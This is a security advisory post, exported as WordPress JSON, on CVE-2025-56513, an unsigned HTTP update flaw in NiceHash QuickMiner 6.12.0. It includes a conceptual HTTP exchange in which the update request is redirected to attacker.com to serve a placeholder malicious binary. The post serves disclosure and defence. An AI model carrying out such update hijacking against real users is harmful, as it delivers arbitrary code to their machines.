{"id":82058,"date":"2025-10-07T12:37:05","date_gmt":"2025-10-07T12:37:05","guid":{"rendered":""},"modified":"2025-10-21T04:13:35","modified_gmt":"2025-10-21T10:13:35","slug":"cve-2025-56513-critical-supply-chain-attack-risk-in-nicehash-quickminer","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-56513-critical-supply-chain-attack-risk-in-nicehash-quickminer\/","title":{"rendered":"<strong>CVE-2025-56513: Critical Supply Chain Attack Risk in NiceHash QuickMiner<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>In this post, we delve into the details of a severe cybersecurity vulnerability, infamously known as CVE-2025-56513, present in NiceHash QuickMiner 6.12.0. This vulnerability can be exploited by an attacker to hijack the update process and deliver arbitrary executables resulting in full remote code execution. It predominantly affects users of the NiceHash QuickMiner software and is significantly <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-25737-critical-vulnerability-in-kapsch-trafficcom-rsus-due-to-lack-of-secure-password-requirements\/\"  data-wpil-monitor-id=\"89245\">critical due<\/a> to its potential for system compromise and data leakage.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-56513<br \/>\nSeverity: Critical (CVSS score 9.8)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: Full <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-55728-xwiki-remote-macros-remote-code-execution-vulnerability\/\"  data-wpil-monitor-id=\"89274\">remote code execution<\/a> leading to potential system compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-3296433210\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>NiceHash QuickMiner | 6.12.0<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploitation of this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-23283-critical-vulnerability-in-nvidia-vgpu-software-for-linux-style-hypervisors\/\"  data-wpil-monitor-id=\"89566\">vulnerability stems from NiceHash QuickMiner&#8217;s lack of validation during software<\/a> updates. Specifically, the software performs updates over HTTP without digital signature validation or hash checks. An attacker with the ability to intercept or redirect traffic to the update URL can thus hijack the update process and deliver <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54815-arbitrary-code-execution-via-server-side-template-injection-in-ppress-0-0-9\/\"  data-wpil-monitor-id=\"90176\">arbitrary executables<\/a>. The software automatically executes these executables, enabling full <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-55729-remote-code-execution-vulnerability-in-xwiki-remote-macros\/\"  data-wpil-monitor-id=\"89278\">remote code execution<\/a> by the attacker.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2786458528\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example demonstrating how an attacker might exploit this vulnerability:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/update HTTP\/1.1\nHost: update.nicehash.com\nUser-Agent: NiceHash QuickMiner\/6.12.0\nHTTP\/1.1 302 Found\nLocation: http:\/\/attacker.com\/malicious_update.bin\nGET \/malicious_update.bin HTTP\/1.1\nHost: attacker.com\nUser-Agent: NiceHash QuickMiner\/6.12.0\nHTTP\/1.1 200 OK\nContent-Type: application\/octet-stream\n{ &quot;malicious_payload&quot;: &quot;...&quot; }<\/code><\/pre>\n<p>In this example, the attacker redirects the update request to their own server and delivers a malicious update package, which is then automatically executed by the NiceHash QuickMiner software.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>Users of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-9693-arbitrary-file-deletion-vulnerability-in-user-meta-user-profile-builder-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"90632\">NiceHash<\/a> QuickMiner are advised to immediately apply the vendor patch to mitigate this vulnerability. For temporary mitigation, deploying a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide some level of protection against possible exploits. However, these are not long-term solutions and the vendor patch should be applied as soon as possible.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview In this post, we delve into the details of a severe cybersecurity vulnerability, infamously known as CVE-2025-56513, present in NiceHash QuickMiner 6.12.0. This vulnerability can be exploited by an attacker to hijack the update process and deliver arbitrary executables resulting in full remote code execution. It predominantly affects users of the NiceHash QuickMiner software [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-82058","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-rce"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/82058","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=82058"}],"version-history":[{"count":6,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/82058\/revisions"}],"predecessor-version":[{"id":83576,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/82058\/revisions\/83576"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=82058"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=82058"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=82058"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=82058"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=82058"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=82058"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=82058"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=82058"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=82058"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}